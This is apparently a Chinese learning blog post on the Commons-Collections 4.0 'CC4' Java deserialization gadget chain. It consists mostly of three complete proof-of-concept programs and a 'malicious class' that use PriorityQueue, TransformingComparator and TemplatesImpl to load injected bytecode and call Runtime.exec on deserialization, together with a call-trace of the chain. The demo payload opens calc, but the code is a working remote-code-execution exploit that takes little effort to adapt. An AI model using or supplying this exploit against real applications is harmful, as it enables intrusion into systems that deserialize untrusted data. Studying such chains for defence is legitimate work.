java反序列化–CC4
我们后面学习的CC4、CC5、CC7据说实用价值比较低了
但是我们还是要学习 毕竟我们的java调试 审计能力还不够
继续提升我们的java能力吧
前置
利用条件
- Commons-Collections=4.0
- javassist
CC4
其实CC4就是CC2与CC3的组合体
基于TransformingComparator+priorityqueue是可以触发transforme()方法
所以可以利用这个两个类的组合来代替cc3链中的LazyMap或Transformedmmap+AnnotationinvocationHandler的组合,从而构成了cc4
直接上POC
通过POC来学习就行
POC
package example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.*; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Arrays; import java.util.PriorityQueue;
public class CC4 {
public static void setValue(Object obj, String name, Object value) throws Exception{ Field field=obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj,value); }
public static void main(String[] args) throws Exception{ ClassPool cp=ClassPool.getDefault(); cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc=cp.makeClass("VV"); cc.setSuperclass(cp.getCtClass(AbstractTranslet.class.getName())); cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytes=cc.toBytecode(); byte[][] bytecodes = new byte[][]{bytes};
TemplatesImpl templates= new TemplatesImpl(); setValue(templates,"_bytecodes",bytecodes); setValue(templates,"_name","VV");
ChainedTransformer chained=new ChainedTransformer(new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) }); TransformingComparator trans=new TransformingComparator(chained); PriorityQueue prior=new PriorityQueue(2); prior.add(1); prior.add(2); setValue(prior,"comparator",trans);
ByteArrayOutputStream bao=new ByteArrayOutputStream(); ObjectOutputStream oos=new ObjectOutputStream(bao); oos.writeObject(prior); oos.close();
ObjectInputStream ois = new ObjectInputStream((new ByteArrayInputStream(bao.toByteArray()))); ois.readObject(); } }
|
没问题哈
其实链子还是比较熟悉的吧
基本上都是前几条链子都见过的东西了
通过 PriorityQueue
与 TransformingComparator
的配合触发 ChainedTransformer
中的 transform
方法,使我们的恶意类字节码注册到 JVM 中并实例化,触发构造函数中的 Runtime 方法达成 RCE
链子流程:
ObjectInputStream.readObject() PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() TransformingComparator.compare() ChainedTransformer.transform() ConstantTransformer.transform() InstantiateTransformer.transform() newInstance() TrAXFilter#TrAXFilter() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses newInstance() Runtime.exec()
|
感觉也没什么好说的了
小变异POC
前面的POC是直接调用了exec.exe
我们可以将POC稍微改动一下 来调用本地的任意class文件
package example;
import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import org.apache.commons.collections4.comparators.TransformingComparator; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CC44 {
public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class te = templates.getClass();
Field namefield = te.getDeclaredField("_name"); namefield.setAccessible(true); namefield.set(templates,"aaa"); Field bytecodesield = te.getDeclaredField("_bytecodes"); bytecodesield.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://CODE//JAVA//TEXT//src//evilClass.class")); byte[][] codes={code}; bytecodesield.set(templates,codes);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1); priorityQueue.add(2);
Class c = transformingComparator.getClass(); Field transformerfield = c.getDeclaredField("transformer"); transformerfield.setAccessible(true); transformerfield.set(transformingComparator,chainedTransformer);
serialize(priorityQueue); unserialize("ser.bin"); }
public static void serialize(Object object) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(object); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
当然 我们需要一个恶意class文件
写一个恶意类
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class evilClass extends AbstractTranslet{ public evilClass() { super(); try { Runtime.getRuntime().exec("calc"); }catch (Exception e){ e.printStackTrace(); } } static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); }} public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
|
然后编译就行
当然 也可以直接来调用这个类
我们还是用这个恶意类
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.PriorityQueue; public class CC4Poc { public static void main(String[] args) throws Exception { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.getCtClass("com.test.evilClass"); byte[] bytes = ctClass.toBytecode(); Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Constructor<?> constructor = aClass.getDeclaredConstructor(); TemplatesImpl templates = (TemplatesImpl) constructor.newInstance(); Field bytecodes = aClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates, new byte[][]{bytes}); Field name = aClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates , "evilClass"); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) }; Transformer chainedTransform=new ChainedTransformer(transformers); TransformingComparator transformingComparator=new TransformingComparator(chainedTransform); PriorityQueue queue=new PriorityQueue(2); queue.add(1); queue.add(1); Field comparator=queue.getClass().getDeclaredField("comparator"); comparator.setAccessible(true); comparator.set(queue,transformingComparator); Field fieldQueue=queue.getClass().getDeclaredField("queue"); fieldQueue.setAccessible(true); fieldQueue.set(queue,new Object[]{chainedTransform,chainedTransform}); ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(queue); objectOutputStream.close(); ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } }
|